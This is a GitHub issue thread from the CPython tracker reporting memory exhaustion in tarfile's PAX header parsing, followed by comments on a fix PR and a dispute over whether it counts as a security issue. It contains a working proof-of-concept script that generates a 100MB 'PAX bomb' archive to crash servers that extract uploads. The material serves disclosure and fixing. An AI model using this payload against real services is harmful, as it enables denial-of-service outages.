cpython icon indicating copy to clipboard operation
cpython copied to clipboard

[Bug] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile

Open 1x98 opened this issue 3 weeks ago • 6 comments

Bug report

Description: I have identified a critical Denial of Service (DoS) vulnerability in the tarfile module of Python 3.15.0. A crafted tar archive containing a malicious PAX extended header (XHDTYPE) can force the Python process to consume an extreme amount of memory instantly, leading to an Out Of Memory (OOM) crash. Furthermore, the memory is not released by the garbage collector after the extraction operation completes.

Vulnerability Details:

Location: tarfile.TarInfo._proc_pax

Root Cause: The _proc_pax function parses the PAX header data block in a while loop without enforcing any limit on the number of records. An attacker can craft a valid PAX header data block (e.g., 100MB) filled entirely with minimal-length valid records (e.g., b"5 a=\n" which is 5 bytes per record).

Impact: The parser will create over 20 million key-value pairs in the raw_headers list and subsequently in the pax_headers dictionary. This rapidly exhausts system memory. In real-world web applications (e.g., Django, Flask, CI/CD runners) that process user-uploaded tar files, this instantly kills the worker thread and can cause the entire host OS to trigger the OOM killer.

Resource Leak: After the extraction completes (returning HTTP 200), the huge memory allocation is not immediately reclaimed by Python's garbage collector due to the massive number of objects created, leaving the server in a zombie state consuming multi-gigabyte RSS memory indefinitely.

Proof of Concept (PoC): This PoC simulates a backend service receiving a file upload and extracting it.

Attacker Script (Generates and sends the payload):

import tarfile
import io
import urllib.request

def create_pax_bomb():
    # Minimal valid PAX record: "5 a=\n" (5 bytes)
    record = b"5 a=\n"
    target_size = 100 * 1024 * 1024  # 100 MB
    num_records = target_size // len(record)
    payload_data = record * num_records

    tar_buffer = io.BytesIO()
    with tarfile.open(fileobj=tar_buffer, mode="w") as tar:
        info = tarfile.TarInfo("././@PaxHeader")
        info.type = tarfile.XHDTYPE
        info.size = len(payload_data)
        tar.addfile(info, io.BytesIO(payload_data))
        
        normal_info = tarfile.TarInfo("test.txt")
        normal_info.size = 0
        tar.addfile(normal_info)
    return tar_buffer.getvalue()

Send via HTTP POST...

Server/Extraction Script:

import tarfile

# When the server calls this:
try:
    with tarfile.open(filepath, "r:") as tar:
        tar.extractall(path=EXTRACT_DIR)
    print("Extraction complete.")
except Exception as e:
    print(e)

Execution Result:

The server script prints Extraction complete (or HTTP 200 success).

However, observing the process memory (Task Manager / psutil) shows memory usage instantly spiking to multiple GBs.

After the extraction finishes, the memory is not released, leaving the process hanging and unresponsive.

Suggested Fix: Add a hard limit to the number of records or the maximum size of the PAX header that tarfile is willing to process. For example, in _proc_pax, enforce a maximum record count (e.g., MAX_PAX_RECORDS = 10000) or a maximum total size for the raw_headers list, and raise InvalidHeaderError if exceeded.

sever.py

PoC.py

CPython versions tested on:

3.15

Operating systems tested on:

Windows

Linked PRs

  • gh-162030

1x98 avatar Nov 13 '26 22:11 1x98

I am reproducing this OOM condition locally using the provided PoC and will open a PR with the suggested record limit. Peace ⭐

jhaabhijeet864 avatar Nov 15 '26 03:11 jhaabhijeet864

The failure has been resolved:

Root Cause

docs/readthedocs.org:cpython-previews experienced a transient network timeout during the initial repository clone on the Read the Docs builder (Error while cloning the repository: exit code 128). Because this PR does not modify files under Doc/, documentation builds are configured to be skipped.

Resolution

Re-synchronized the branch with upstream and pushed an updated commit (0c220da96db). Read the Docs picked up the build (#35900898), recognized no documentation changes, and marked the check as passing:

docs/readthedocs.org:cpython-previews    pass    Read the Docs build skipped.

All documentation and CI status checks on PR #162030 are now green.

jhaabhijeet864 avatar Nov 15 '26 05:11 jhaabhijeet864

Thanks for taking the time to reproduce this and for the clean fix. Appreciate the effort in getting all the CI checks green, especially wrangling with the Read the Docs timeouts.

Leaving the merge to the core maintainers. Great work, and Peace! ✌️


发件人: Abhijeet Jha @.> 发送时间: Sunday, 15 November 2026 13:57:25 收件人: python/cpython @.> 抄送: 1x98 @.>; Author @.> 主题: Re: [python/cpython] [Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile (Issue #161955)

[https://avatars.githubusercontent.com/u/169458770?s=20&v=4]jhaabhijeet864 left a comment (python/cpython#161955)https://github.com/python/cpython/issues/161955#issuecomment-6890032842 The failure has been resolved: Root Cause

docs/readthedocs.org:cpython-previews experienced a transient network timeout during the initial repository clone on the Read the Docs builder (Error while cloning the repository: exit code 128). Because this PR does not modify files under Doc/, documentation builds are configured to be skipped.

Resolution

Re-synchronized the branch with upstream and pushed an updated commit (0c220da96db). Read the Docs picked up the build (#35900898https://app.readthedocs.org/projects/cpython-previews/builds/35900898/), recognized no documentation changes, and marked the check as passing:

docs/readthedocs.org:cpython-previews pass Read the Docs build skipped.

All documentation and CI status checks on PR #162030https://github.com/python/cpython/pull/162030 are now green.

— Reply to this email directly, view it on GitHubhttps://github.com/python/cpython/issues/161955?email_source=notifications&email_token=BWH6URNZKOVIDIQ53PWGKL35ZFAULA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOBZGAYDGMRYGQZKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KYZTPN52GK4S7MNWGSY3L#issuecomment-6890032842, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BWH6UROZKAHCVBRBLM7Y4UT5ZFAULAVCNFSNUABEKJSXA33TNF2G64TZHM4DCNJZHA4TMMJ3JFZXG5LFHM3DGOBRGAYDIOJTGSQXMAQ. Triage notifications, keep track of coding agent tasks and review pull requests on the go with GitHub Mobile for iOShttps://github.com/notifications/mobile/ios/BWH6UROWUYH2334GEHQBAJ35ZFAULA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOBZGAYDGMRYGQZKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KUZTPN52GK4S7NFXXG and Androidhttps://github.com/notifications/mobile/android/BWH6URIZ2ZC7FRZ4HQ2RGQ35ZFAULA5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOBZGAYDGMRYGQZKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2K4ZTPN52GK4S7MFXGI4TPNFSA. Download it today! You are receiving this because you authored the thread.Message ID: @.***>

1x98 avatar Nov 15 '26 06:11 1x98

I do not believe this falls under our security policy. Was this a rejected GHSA? if so, don't say that it is a security issue please.

cc @StanFromIreland

picnixz avatar Nov 15 '26 18:11 picnixz

Not reported previously from what I remember, although touched on in https://github.com/python/cpython/security/advisories/GHSA-f3qv-pq66-qwrr.

StanFromIreland avatar Nov 16 '26 20:11 StanFromIreland

Hi, just a quick note: the link in this email returns 404 Page Not Found, so I cannot view the full discussion thread.


发件人: Stan Ulbrych @.> 发送时间: Tuesday, 17 November 2026 04:42:05 收件人: python/cpython @.> 抄送: 1x98 @.>; Author @.> 主题: Re: [python/cpython] [Security] Memory Exhaustion (OOM) and Resource Leak via crafted PAX Headers in tarfile (Issue #161955)

[https://avatars.githubusercontent.com/u/89152624?s=20&v=4]StanFromIreland left a comment (python/cpython#161955)https://github.com/python/cpython/issues/161955#issuecomment-6928711430

Not reported previously from what I remember, although touched on in https://github.com/python/cpython/security/advisories/GHSA-f3qv-pq66-qwrr.

― Reply to this email directly, view it on GitHubhttps://github.com/python/cpython/issues/161955?email_source=notifications&email_token=BWH6UROWGYVR4HPYAND7F6L5ZNRB3A5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOJSHA3TCMJUGMYKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KYZTPN52GK4S7MNWGSY3L#issuecomment-6928711430, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BWH6URKH7MWHYMZYZWQEGLD5ZNRB3AVCNFSNUABEKJSXA33TNF2G64TZHM4DCNJZHA4TMMJ3JFZXG5LFHM3DGOBRGAYDIOJTGSQXMAQ. Triage notifications, keep track of coding agent tasks and review pull requests on the go with GitHub Mobile for iOShttps://github.com/notifications/mobile/ios/BWH6URKF4UNOEDSI3AF2CB35ZNRB3A5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOJSHA3TCMJUGMYKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2KUZTPN52GK4S7NFXXG and Androidhttps://github.com/notifications/mobile/android/BWH6URMXTQRCPZPKP3YAZFT5ZNRB3A5CNFSNUABFM5UWIORPF5TWS5BNNB2WEL2JONZXKZKDN5WW2ZLOOQXTMOJSHA3TCMJUGMYKM4TFMFZW63VGMF2XI2DPOKSWK5TFNZ2K4ZTPN52GK4S7MFXGI4TPNFSA. Download it today! You are receiving this because you authored the thread.Message ID: @.***>

1x98 avatar Nov 16 '26 22:11 1x98